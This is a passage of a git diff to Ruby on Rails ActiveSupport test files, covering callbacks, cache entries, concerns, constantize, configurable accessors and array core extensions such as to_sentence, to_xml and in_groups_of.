     assert_equal value.bytesize, entry.size
   end
-
-  def test_restoring_version_4beta1_entries
-    version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
-    version_4beta1_entry.instance_variable_set(:@v, "hello")
-    version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i + 60)
-    entry = Marshal.load(Marshal.dump(version_4beta1_entry))
-    assert_equal "hello", entry.value
-    assert_equal false, entry.expired?
-  end
-
-  def test_restoring_compressed_version_4beta1_entries
-    version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
-    version_4beta1_entry.instance_variable_set(:@v, Zlib::Deflate.deflate(Marshal.dump("hello")))
-    version_4beta1_entry.instance_variable_set(:@c, true)
-    entry = Marshal.load(Marshal.dump(version_4beta1_entry))
-    assert_equal "hello", entry.value
-  end
-
-  def test_restoring_expired_version_4beta1_entries
-    version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
-    version_4beta1_entry.instance_variable_set(:@v, "hello")
-    version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i - 1)
-    entry = Marshal.load(Marshal.dump(version_4beta1_entry))
-    assert_equal "hello", entry.value
-    assert_equal true, entry.expired?
-  end
 end
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index f8e2ce22fa..f6abef8cee 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,27 +1,6 @@
 require 'abstract_unit'
 
 module CallbacksTest
-  class Phone
-    include ActiveSupport::Callbacks
-    define_callbacks :save
-
-    set_callback :save, :before, :before_save1
-    set_callback :save, :after, :after_save1
-
-    def before_save1; self.history << :before; end
-    def after_save1; self.history << :after; end
-
-    def save
-      run_callbacks :save do
-        raise 'boom'
-      end
-    end
-
-    def history
-      @history ||= []
-    end
-  end
-
   class Record
     include ActiveSupport::Callbacks
 
@@ -70,7 +49,7 @@ module CallbacksTest
     def self.before(model)
       model.history << [:before_save, :class]
     end
-    
+
     def self.after(model)
       model.history << [:after_save, :class]
     end
@@ -522,21 +501,18 @@ module CallbacksTest
     end
   end
 
-  class CallbackTerminator
+  class AbstractCallbackTerminator
     include ActiveSupport::Callbacks
 
-    define_callbacks :save, :terminator => ->(_,result) { result == :halt }
-
-    set_callback :save, :before, :first
-    set_callback :save, :before, :second
-    set_callback :save, :around, :around_it
-    set_callback :save, :before, :third
-    set_callback :save, :after, :first
-    set_callback :save, :around, :around_it
-    set_callback :save, :after, :second
-    set_callback :save, :around, :around_it
-    set_callback :save, :after, :third
-
+    def self.set_save_callbacks
+      set_callback :save, :before, :first
+      set_callback :save, :before, :second
+      set_callback :save, :around, :around_it
+      set_callback :save, :before, :third
+      set_callback :save, :after, :first
+      set_callback :save, :around, :around_it
+      set_callback :save, :after, :third
+    end
 
     attr_reader :history, :saved, :halted
     def initialize
@@ -573,6 +549,39 @@ module CallbacksTest
     end
   end
 
+  class CallbackTerminator < AbstractCallbackTerminator
+    define_callbacks :save, terminator: ->(_, result_lambda) { result_lambda.call == :halt }
+    set_save_callbacks
+  end
+
+  class CallbackTerminatorSkippingAfterCallbacks < AbstractCallbackTerminator
+    define_callbacks :save, terminator: ->(_, result_lambda) { result_lambda.call == :halt },
+                            skip_after_callbacks_if_terminated: true
+    set_save_callbacks
+  end
+
+  class CallbackDefaultTerminator < AbstractCallbackTerminator
+    define_callbacks :save
+
+    def second
+      @history << "second"
+      throw(:abort)
+    end
+
+    set_save_callbacks
+  end
+
+  class CallbackFalseTerminator < AbstractCallbackTerminator
+    define_callbacks :save
+
+    def second
+      @history << "second"
+      false
+    end
+
+    set_save_callbacks
+  end
+
   class CallbackObject
     def before(caller)
       caller.record << "before"
@@ -709,10 +718,10 @@ module CallbacksTest
   end
 
   class CallbackTerminatorTest < ActiveSupport::TestCase
-    def test_termination
+    def test_termination_skips_following_before_and_around_callbacks
       terminator = CallbackTerminator.new
       terminator.save
-      assert_equal ["first", "second", "third", "second", "first"], terminator.history
+      assert_equal ["first", "second", "third", "first"], terminator.history
     end
 
     def test_termination_invokes_hook
@@ -728,6 +737,73 @@ module CallbacksTest
     end
   end
 
+  class CallbackTerminatorSkippingAfterCallbacksTest < ActiveSupport::TestCase
+    def test_termination_skips_after_callbacks
+      terminator = CallbackTerminatorSkippingAfterCallbacks.new
+      terminator.save
+      assert_equal ["first", "second"], terminator.history
+    end
+  end
+
+  class CallbackDefaultTerminatorTest < ActiveSupport::TestCase
+    def test_default_termination
+      terminator = CallbackDefaultTerminator.new
+      terminator.save
+      assert_equal ["first", "second", "third", "first"], terminator.history
+    end
+
+    def test_default_termination_invokes_hook
+      terminator = CallbackDefaultTerminator.new
+      terminator.save
+      assert_equal :second, terminator.halted
+    end
+
+    def test_block_never_called_if_abort_is_thrown
+      obj = CallbackDefaultTerminator.new
+      obj.save
+      assert !obj.saved
+    end
+  end
+
+  class CallbackFalseTerminatorWithoutConfigTest < ActiveSupport::TestCase
+    def test_returning_false_halts_callback_if_config_variable_is_not_set
+      obj = CallbackFalseTerminator.new
+      assert_deprecated do
+        obj.save
+        assert_equal :second, obj.halted
+        assert !obj.saved
+      end
+    end
+  end
+
+  class CallbackFalseTerminatorWithConfigTrueTest < ActiveSupport::TestCase
+    def setup
+      ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = true
+    end
+
+    def test_returning_false_halts_callback_if_config_variable_is_true
+      obj = CallbackFalseTerminator.new
+      assert_deprecated do
+        obj.save
+        assert_equal :second, obj.halted
+        assert !obj.saved
+      end
+    end
+  end
+
+  class CallbackFalseTerminatorWithConfigFalseTest < ActiveSupport::TestCase
+    def setup
+      ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = false
+    end
+
+    def test_returning_false_does_not_halt_callback_if_config_variable_is_false
+      obj = CallbackFalseTerminator.new
+      obj.save
+      assert_equal nil, obj.halted
+      assert obj.saved
+    end
+  end
+
   class HyphenatedKeyTest < ActiveSupport::TestCase
     def test_save
       obj = HyphenatedCallbacks.new
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
index dd67a45cf6..05580352a9 100644
--- a/activesupport/test/clean_backtrace_test.rb
+++ b/activesupport/test/clean_backtrace_test.rb
@@ -34,6 +34,11 @@ class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
       [ "/other/class.rb" ],
       @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
   end
+
+  test "backtrace cleaner should allow removing silencer" do
+    @bc.remove_silencers!
+    assert_equal ["/mongrel/stuff.rb"], @bc.clean(["/mongrel/stuff.rb"])
+  end
 end
 
 class BacktraceCleanerMultipleSilencersTest < ActiveSupport::TestCase
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index a74ee880b2..253c1adc23 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -5,7 +5,7 @@ class ConcernTest < ActiveSupport::TestCase
   module Baz
     extend ActiveSupport::Concern
 
-    module ClassMethods
+    class_methods do
       def baz
         "baz"
       end
@@ -33,6 +33,12 @@ class ConcernTest < ActiveSupport::TestCase
 
     include Baz
 
+    module ClassMethods
+      def baz
+        "bar's baz + " + super
+      end
+    end
+
     def bar
       "bar"
     end
@@ -53,32 +59,32 @@ class ConcernTest < ActiveSupport::TestCase
   end
 
   def test_module_is_included_normally
-    @klass.send(:include, Baz)
+    @klass.include(Baz)
     assert_equal "baz", @klass.new.baz
     assert @klass.included_modules.include?(ConcernTest::Baz)
   end
 
   def test_class_methods_are_extended
-    @klass.send(:include, Baz)
+    @klass.include(Baz)
     assert_equal "baz", @klass.baz
     assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0]
   end
 
   def test_included_block_is_ran
-    @klass.send(:include, Baz)
+    @klass.include(Baz)
     assert_equal true, @klass.included_ran
   end
 
   def test_modules_dependencies_are_met
-    @klass.send(:include, Bar)
+    @klass.include(Bar)
     assert_equal "bar", @klass.new.bar
     assert_equal "bar+baz", @klass.new.baz
-    assert_equal "baz", @klass.baz
+    assert_equal "bar's baz + baz", @klass.baz
     assert @klass.included_modules.include?(ConcernTest::Bar)
   end
 
   def test_dependencies_with_multiple_modules
-    @klass.send(:include, Foo)
+    @klass.include(Foo)
     assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
   end
 
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index d00273a028..5d22ded2de 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -95,6 +95,28 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
         config_accessor "invalid attribute name"
       end
     end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\nattribute"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\n"
+      end
+    end
+  end
+
+  test 'the config_accessor method should not be publicly callable' do
+    assert_raises NoMethodError do
+      Class.new {
+        include ActiveSupport::Configurable
+      }.config_accessor :foo
+    end
   end
 
   def assert_method_defined(object, method)
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
index bbeb710a0c..366e4e5ef0 100644
--- a/activesupport/test/constantize_test_cases.rb
+++ b/activesupport/test/constantize_test_cases.rb
@@ -1,3 +1,5 @@
+require 'dependencies_test_helpers'
+
 module Ace
   module Base
     class Case
@@ -23,17 +25,30 @@ class Object
 end
 
 module ConstantizeTestCases
+  include DependenciesTestHelpers
+
   def run_constantize_tests_on
     assert_equal Ace::Base::Case, yield("Ace::Base::Case")
     assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
     assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Fase::Dice")
     assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+
     assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
     assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Gas::Case::Dice")
+
     assert_equal Case::Dice, yield("Case::Dice")
+    assert_equal AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+    assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
     assert_equal Case::Dice, yield("Object::Case::Dice")
+    assert_equal AddtlGlobalConstants::Case::Dice, yield("Object::Case::Dice")
+    assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
     assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
     assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
+
     assert_raises(NameError) { yield("UnknownClass") }
     assert_raises(NameError) { yield("UnknownClass::Ace") }
     assert_raises(NameError) { yield("UnknownClass::Ace::Base") }
@@ -45,6 +60,19 @@ module ConstantizeTestCases
     assert_raises(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
     assert_raises(NameError) { yield("") }
     assert_raises(NameError) { yield("::") }
+    assert_raises(NameError) { yield("Ace::gas") }
+
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        yield("RaisesNameError")
+      end
+    end
+
+    assert_raises(NoMethodError) do
+      with_autoloading_fixtures do
+        yield("RaisesNoMethodError")
+      end
+    end
   end
 
   def run_safe_constantize_tests_on
@@ -71,5 +99,18 @@ module ConstantizeTestCases
     assert_nil yield("Ace::Gas::Base")
     assert_nil yield("Ace::Gas::ConstantizeTestCases")
     assert_nil yield("#<Class:0x7b8b718b>::Nested_1")
+    assert_nil yield("Ace::gas")
+
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        yield("RaisesNameError")
+      end
+    end
+
+    assert_raises(NoMethodError) do
+      with_autoloading_fixtures do
+        yield("RaisesNoMethodError")
+      end
+    end
   end
 end
diff --git a/activesupport/test/core_ext/array/access_test.rb b/activesupport/test/core_ext/array/access_test.rb
new file mode 100644
index 0000000000..f14f64421d
--- /dev/null
+++ b/activesupport/test/core_ext/array/access_test.rb
@@ -0,0 +1,30 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class AccessTest < ActiveSupport::TestCase
+  def test_from
+    assert_equal %w( a b c d ), %w( a b c d ).from(0)
+    assert_equal %w( c d ), %w( a b c d ).from(2)
+    assert_equal %w(), %w( a b c d ).from(10)
+    assert_equal %w( d e ), %w( a b c d e ).from(-2)
+    assert_equal %w(), %w( a b c d e ).from(-10)
+  end
+
+  def test_to
+    assert_equal %w( a ), %w( a b c d ).to(0)
+    assert_equal %w( a b c ), %w( a b c d ).to(2)
+    assert_equal %w( a b c d ), %w( a b c d ).to(10)
+    assert_equal %w( a b c ), %w( a b c d ).to(-2)
+    assert_equal %w(), %w( a b c ).to(-10)
+  end
+
+  def test_specific_accessor
+    array = (1..42).to_a
+
+    assert_equal array[1], array.second
+    assert_equal array[2], array.third
+    assert_equal array[3], array.fourth
+    assert_equal array[4], array.fifth
+    assert_equal array[41], array.forty_two
+  end
+end
diff --git a/activesupport/test/core_ext/array/conversions_test.rb b/activesupport/test/core_ext/array/conversions_test.rb
new file mode 100644
index 0000000000..577b889410
--- /dev/null
+++ b/activesupport/test/core_ext/array/conversions_test.rb
@@ -0,0 +1,197 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/big_decimal'
+require 'active_support/core_ext/hash'
+require 'active_support/core_ext/string'
+
+class ToSentenceTest < ActiveSupport::TestCase
+  def test_plain_array_to_sentence
+    assert_equal "", [].to_sentence
+    assert_equal "one", ['one'].to_sentence
+    assert_equal "one and two", ['one', 'two'].to_sentence
+    assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
+  end
+
+  def test_to_sentence_with_words_connector
+    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(words_connector: ' ')
+    assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(words_connector: ' & ')
+    assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(words_connector: nil)
+  end
+
+  def test_to_sentence_with_last_word_connector
+    assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(last_word_connector: ', and also ')
+    assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(last_word_connector: nil)
+    assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(last_word_connector: ' ')
+    assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(last_word_connector: ' and ')
+  end
+
+  def test_two_elements
+    assert_equal "one and two", ['one', 'two'].to_sentence
+    assert_equal "one two", ['one', 'two'].to_sentence(two_words_connector: ' ')
+  end
+
+  def test_one_element
+    assert_equal "one", ['one'].to_sentence
+  end
+
+  def test_one_element_not_same_object
+    elements = ["one"]
+    assert_not_equal elements[0].object_id, elements.to_sentence.object_id
+  end
+
+  def test_one_non_string_element
+    assert_equal '1', [1].to_sentence
+  end
+
+  def test_does_not_modify_given_hash
+    options = { words_connector: ' ' }
+    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
+    assert_equal({ words_connector: ' ' }, options)
+  end
+
+  def test_with_blank_elements
+    assert_equal ", one, , two, and three", [nil, 'one', '', 'two', 'three'].to_sentence
+  end
+
+  def test_with_invalid_options
+    exception = assert_raise ArgumentError do
+      ['one', 'two'].to_sentence(passing: 'invalid option')
+    end
+
+    assert_equal exception.message, "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale"
+  end
+end
+
+class ToSTest < ActiveSupport::TestCase
+  class TestDB
+    @@counter = 0
+    def id
+      @@counter += 1
+    end
+  end
+
+  def test_to_s_db
+    collection = [TestDB.new, TestDB.new, TestDB.new]
+
+    assert_equal "null", [].to_s(:db)
+    assert_equal "1,2,3", collection.to_s(:db)
+  end
+end
+
+class ToXmlTest < ActiveSupport::TestCase
+  def test_to_xml_with_hash_elements
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+    ].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<objects type="array"><object>', xml.first(30)
+    assert xml.include?(%(<age type="integer">26</age>)), xml
+    assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
+    assert xml.include?(%(<name>David</name>)), xml
+    assert xml.include?(%(<age type="integer">31</age>)), xml
+    assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
+    assert xml.include?(%(<name>Jason</name>)), xml
+  end
+
+  def test_to_xml_with_non_hash_elements
+    xml = [1, 2, 3].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<fixnums type="array"><fixnum', xml.first(29)
+    assert xml.include?(%(<fixnum type="integer">2</fixnum>)), xml
+  end
+
+  def test_to_xml_with_non_hash_different_type_elements
+    xml = [1, 2.0, '3'].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<objects type="array"><object', xml.first(29)
+    assert xml.include?(%(<object type="integer">1</object>)), xml
+    assert xml.include?(%(<object type="float">2.0</object>)), xml
+    assert xml.include?(%(object>3</object>)), xml
+  end
+
+  def test_to_xml_with_dedicated_name
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 }, { name: "Jason", age: 31 }
+    ].to_xml(skip_instruct: true, indent: 0, root: "people")
+
+    assert_equal '<people type="array"><person>', xml.first(29)
+  end
+
+  def test_to_xml_with_options
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert xml.include?(%(<street-address>Paulina</street-address>))
+    assert xml.include?(%(<name>David</name>))
+    assert xml.include?(%(<street-address>Evergreen</street-address>))
+    assert xml.include?(%(<name>Jason</name>))
+  end
+
+  def test_to_xml_with_indent_set
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 4)
+
+    assert_equal "<objects>\n    <object>", xml.first(22)
+    assert xml.include?(%(\n        <street-address>Paulina</street-address>))
+    assert xml.include?(%(\n        <name>David</name>))
+    assert xml.include?(%(\n        <street-address>Evergreen</street-address>))
+    assert xml.include?(%(\n        <name>Jason</name>))
+  end
+
+  def test_to_xml_with_dasherize_false
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: false)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert xml.include?(%(<street_address>Paulina</street_address>))
+    assert xml.include?(%(<street_address>Evergreen</street_address>))
+  end
+
+  def test_to_xml_with_dasherize_true
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: true)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert xml.include?(%(<street-address>Paulina</street-address>))
+    assert xml.include?(%(<street-address>Evergreen</street-address>))
+  end
+
+  def test_to_xml_with_instruct
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+    ].to_xml(skip_instruct: false, indent: 0)
+
+    assert_match(/^<\?xml [^>]*/, xml)
+    assert_equal 0, xml.rindex(/<\?xml /)
+  end
+
+  def test_to_xml_with_block
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+    ].to_xml(skip_instruct: true, indent: 0) do |builder|
+      builder.count 2
+    end
+
+    assert xml.include?(%(<count>2</count>)), xml
+  end
+
+  def test_to_xml_with_empty
+    xml = [].to_xml
+    assert_match(/type="array"\/>/, xml)
+  end
+
+  def test_to_xml_dups_options
+    options = { skip_instruct: true }
+    [].to_xml(options)
+    # :builder, etc, shouldn't be added to options
+    assert_equal({ skip_instruct: true }, options)
+  end
+end
diff --git a/activesupport/test/core_ext/array/extract_options_test.rb b/activesupport/test/core_ext/array/extract_options_test.rb
new file mode 100644
index 0000000000..0481a507cf
--- /dev/null
+++ b/activesupport/test/core_ext/array/extract_options_test.rb
@@ -0,0 +1,45 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash'
+
+class ExtractOptionsTest < ActiveSupport::TestCase
+  class HashSubclass < Hash
+  end
+
+  class ExtractableHashSubclass < Hash
+    def extractable_options?
+      true
+    end
+  end
+
+  def test_extract_options
+    assert_equal({}, [].extract_options!)
+    assert_equal({}, [1].extract_options!)
+    assert_equal({ a: :b }, [{ a: :b }].extract_options!)
+    assert_equal({ a: :b }, [1, { a: :b }].extract_options!)
+  end
+
+  def test_extract_options_doesnt_extract_hash_subclasses
+    hash = HashSubclass.new
+    hash[:foo] = 1
+    array = [hash]
+    options = array.extract_options!
+    assert_equal({}, options)
+    assert_equal([hash], array)
+  end
+
+  def test_extract_options_extracts_extractable_subclass
+    hash = ExtractableHashSubclass.new
+    hash[:foo] = 1
+    array = [hash]
+    options = array.extract_options!
+    assert_equal({ foo: 1 }, options)
+    assert_equal([], array)
+  end
+
+  def test_extract_options_extracts_hash_with_indifferent_access
+    array = [{ foo: 1 }.with_indifferent_access]
+    options = array.extract_options!
+    assert_equal(1, options[:foo])
+  end
+end
diff --git a/activesupport/test/core_ext/array/grouping_test.rb b/activesupport/test/core_ext/array/grouping_test.rb
new file mode 100644
index 0000000000..2eb0f05141
--- /dev/null
+++ b/activesupport/test/core_ext/array/grouping_test.rb
@@ -0,0 +1,126 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class GroupingTest < ActiveSupport::TestCase
+  def setup
+    Fixnum.send :private, :/  # test we avoid Integer#/ (redefined by mathn)
+  end
+
+  def teardown
+    Fixnum.send :public, :/
+  end
+
+  def test_in_groups_of_with_perfect_fit
+    groups = []
+    ('a'..'i').to_a.in_groups_of(3) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
+    assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
+  end
+
+  def test_in_groups_of_with_padding
+    groups = []
+    ('a'..'g').to_a.in_groups_of(3) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
+  end
+
+  def test_in_groups_of_pads_with_specified_values
+    groups = []
+
+    ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g foo foo)], groups
+  end
+
+  def test_in_groups_of_without_padding
+    groups = []
+
+    ('a'..'g').to_a.in_groups_of(3, false) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g)], groups
+  end
+
+  def test_in_groups_returned_array_size
+    array = (1..7).to_a
+
+    1.upto(array.size + 1) do |number|
+      assert_equal number, array.in_groups(number).size
+    end
+  end
+
+  def test_in_groups_with_empty_array
+    assert_equal [[], [], []], [].in_groups(3)
+  end
+
+  def test_in_groups_with_block
+    array = (1..9).to_a
+    groups = []
+
+    array.in_groups(3) do |group|
+      groups << group
+    end
+
+    assert_equal array.in_groups(3), groups
+  end
+
+  def test_in_groups_with_perfect_fit
+    assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
+      (1..9).to_a.in_groups(3)
+  end
+
+  def test_in_groups_with_padding
+    array = (1..7).to_a
+
+    assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
+      array.in_groups(3)
+    assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
+      array.in_groups(3, 'foo')
+  end
+
+  def test_in_groups_without_padding
+    assert_equal [[1, 2, 3], [4, 5], [6, 7]],
+      (1..7).to_a.in_groups(3, false)
+  end
+
+  def test_in_groups_invalid_argument
+    assert_raises(ArgumentError) { [].in_groups_of(0) }
+    assert_raises(ArgumentError) { [].in_groups_of(-1) }
+    assert_raises(ArgumentError) { [].in_groups_of(nil) }
+  end
+end
+
+class SplitTest < ActiveSupport::TestCase
+  def test_split_with_empty_array
+    assert_equal [[]], [].split(0)
+  end
+
+  def test_split_with_argument
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[1, 2], [4, 5]],  a.split(3)
+    assert_equal [[1, 2, 3, 4, 5]], a.split(0)
+    assert_equal [1, 2, 3, 4, 5], a
+  end
+
+  def test_split_with_block
+    a = (1..10).to_a
+    assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
+    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 ,10], a
+  end
+
+  def test_split_with_edge_values
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[], [2, 3, 4, 5]],  a.split(1)
+    assert_equal [[1, 2, 3, 4], []],  a.split(5)
+    assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 }
+    assert_equal [1, 2, 3, 4, 5], a
+  end
+end
diff --git a/activesupport/test/core_ext/array/prepend_append_test.rb b/activesupport/test/core_ext/array/prepend_append_test.rb
new file mode 100644
index 0000000000..762aa69b2b
--- /dev/null
+++ b/activesupport/test/core_ext/array/prepend_append_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class PrependAppendTest < ActiveSupport::TestCase
+  def test_append
+    assert_equal [1, 2], [1].append(2)
+  end
+
+  def test_prepend
+    assert_equal [2, 1], [1].prepend(2)
+  end
+end
diff --git a/activesupport/test/core_ext/array/wrap_test.rb b/activesupport/test/core_ext/array/wrap_test.rb
new file mode 100644
index 0000000000..baf426506f
--- /dev/null
+++ b/activesupport/test/core_ext/array/wrap_test.rb
@@ -0,0 +1,77 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class WrapTest < ActiveSupport::TestCase
+  class FakeCollection
+    def to_ary
+      ["foo", "bar"]
+    end
+  end
+
+  class Proxy
+    def initialize(target) @target = target end
+    def method_missing(*a) @target.send(*a) end
+  end
+
+  class DoubtfulToAry
+    def to_ary
+      :not_an_array
+    end
+  end
+
+  class NilToAry
+    def to_ary
+      nil
+    end
+  end
+
+  def test_array
+    ary = %w(foo bar)
+    assert_same ary, Array.wrap(ary)
+  end
+
+  def test_nil
+    assert_equal [], Array.wrap(nil)
+  end
+
+  def test_object
+    o = Object.new
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_string
+    assert_equal ["foo"], Array.wrap("foo")
+  end
+
+  def test_string_with_newline
+    assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
+  end
+
+  def test_object_with_to_ary
+    assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
+  end
+
+  def test_proxy_object
+    p = Proxy.new(Object.new)
+    assert_equal [p], Array.wrap(p)
+  end
+
+  def test_proxy_to_object_with_to_ary
+    p = Proxy.new(FakeCollection.new)
+    assert_equal [p], Array.wrap(p)
+  end
+
+  def test_struct
+    o = Struct.new(:foo).new(123)
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_wrap_returns_wrapped_if_to_ary_returns_nil
+    o = NilToAry.new
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
+    assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
+  end
+end
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
deleted file mode 100644
index 6cd0eb39b7..0000000000
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ /dev/null
@@ -1,445 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/array'
-require 'active_support/core_ext/big_decimal'
-require 'active_support/core_ext/object/conversions'
-
-require 'active_support/core_ext' # FIXME: pulling in all to_xml extensions
-require 'active_support/hash_with_indifferent_access'
-
-class ArrayExtAccessTests < ActiveSupport::TestCase
-  def test_from
-    assert_equal %w( a b c d ), %w( a b c d ).from(0)
-    assert_equal %w( c d ), %w( a b c d ).from(2)
-    assert_equal %w(), %w( a b c d ).from(10)
-  end
-
-  def test_to
-    assert_equal %w( a ), %w( a b c d ).to(0)
-    assert_equal %w( a b c ), %w( a b c d ).to(2)
-    assert_equal %w( a b c d ), %w( a b c d ).to(10)
-  end
-
-  def test_second_through_tenth
-    array = (1..42).to_a
-
-    assert_equal array[1], array.second
-    assert_equal array[2], array.third
-    assert_equal array[3], array.fourth
-    assert_equal array[4], array.fifth
-    assert_equal array[41], array.forty_two
-  end
-end
-
-class ArrayExtToParamTests < ActiveSupport::TestCase
-  class ToParam < String
-    def to_param
-      "#{self}1"
-    end
-  end
-
-  def test_string_array
-    assert_equal '', %w().to_param
-    assert_equal 'hello/world', %w(hello world).to_param
-    assert_equal 'hello/10', %w(hello 10).to_param
-  end
-
-  def test_number_array
-    assert_equal '10/20', [10, 20].to_param
-  end
-
-  def test_to_param_array
-    assert_equal 'custom1/param1', [ToParam.new('custom'), ToParam.new('param')].to_param
-  end
-end
-
-class ArrayExtToSentenceTests < ActiveSupport::TestCase
-  def test_plain_array_to_sentence
-    assert_equal "", [].to_sentence
-    assert_equal "one", ['one'].to_sentence
-    assert_equal "one and two", ['one', 'two'].to_sentence
-    assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
-  end
-
-  def test_to_sentence_with_words_connector
-    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ')
-    assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ')
